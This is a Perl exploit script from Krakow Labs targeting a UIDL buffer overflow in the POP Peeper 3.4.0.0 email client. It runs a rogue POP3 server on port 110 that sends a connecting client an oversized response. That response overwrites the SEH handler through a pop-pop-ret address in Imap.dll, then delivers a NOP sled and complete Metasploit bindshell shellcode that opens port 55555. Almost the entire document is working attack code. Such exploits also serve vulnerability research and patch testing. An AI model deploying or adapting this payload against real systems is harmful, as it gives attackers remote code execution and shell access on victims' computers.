#!/usr/bin/perl
# KL0209EXP-poppeeper_uidl-bof.pl
# 02.27.2009
# Krakow Labs Development [www.krakowlabs.com]
# POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit
#
# SEH overwrite exploitation, uses Imap.dll (included with POP Peeper) for universal
# exploitation (gotta love no /SafeSEH). Special thanks goes to James Burton for help
# and collaboration for exploitation of this bug :P. Tested on Windows XP SP3.
#
# rush@KL (Jeremy Brown) [rush@krakowlabs.com]
# Jayji   (James Burton) [jayjiftw@gmail.com]
#
# Associated Files & Information:
# http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt
# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.pl.txt
# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.jpg
#
# KL0209EXP-poppeeper_uidl-bof.pl

use IO::Socket;

$nextsehh = 0x909006EB; # JMP 6
$sehh     = 0x10014E39; # Windows XP UNIVERSAL Imap.dll pop pop ret

# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)
$sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" .
      "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" .
      "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" .
      "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" .
      "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" .
      "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" .
      "\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x47" .
      "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" .
      "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38" .
      "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" .
      "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" .
      "\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x42\x45\x57\x45\x4e\x4b\x48" .
      "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54" .
      "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58" .
      "\x49\x38\x4e\x56\x46\x52\x4e\x51\x41\x36\x43\x4c\x41\x43\x4b\x4d" .
      "\x46\x36\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x44\x4e\x30\x4b\x58" .
      "\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x55\x4a\x46" .
      "\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" .
      "\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x47\x43\x37" .
      "\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" .
      "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" .
      "\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" .
      "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" .
      "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x35\x43\x35\x43\x34" .
      "\x43\x55\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x49\x4d" .
      "\x43\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x49\x4a\x46\x46\x4a" .
      "\x4c\x31\x42\x47\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41" .
      "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" .
      "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" .
      "\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d" .
      "\x42\x55\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" .
      "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x55" .
      "\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x36" .
      "\x4d\x36\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x32\x4e\x4c" .
      "\x49\x48\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" .
      "\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x54\x4e\x32" .
      "\x43\x39\x4d\x48\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" .
      "\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" .
      "\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x36" .
      "\x41\x50\x41\x55\x41\x35\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" .
      "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" .
      "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" .
      "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" .
      "\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x55\x4f\x4f\x48\x4d" .
      "\x4f\x4f\x42\x4d\x5a";

$serv = IO::Socket::INET->new(Proto=>'tcp',
			      LocalPort=>'110',
			      Listen=>1,
			      Timeout=>60)
or die "Error: listen(110)\n";

$cli = $serv->accept() or die "Error: accept()\n";

$nextseh = pack('l', $nextsehh);
$seh     = pack('l', $sehh);
$nop     = "\x90";

$payload = "+OK\r\n1 " . "A" x 1072 . $nextseh . $seh . $nop x 32 . $sc . "\r\n.\r\n";

     $cli->send("+OK\r\n");
     $cli->recv($recvbuf, 512);
     $cli->send("+OK\r\n");
     $cli->recv($recvbuf, 512);
     $cli->send("+OK\r\n");
     $cli->recv($recvbuf, 512);
     $cli->send("+OK 1 100\r\n");
     $cli->recv($recvbuf, 512);
     $cli->send($payload);

     close($cli);
     close($serv);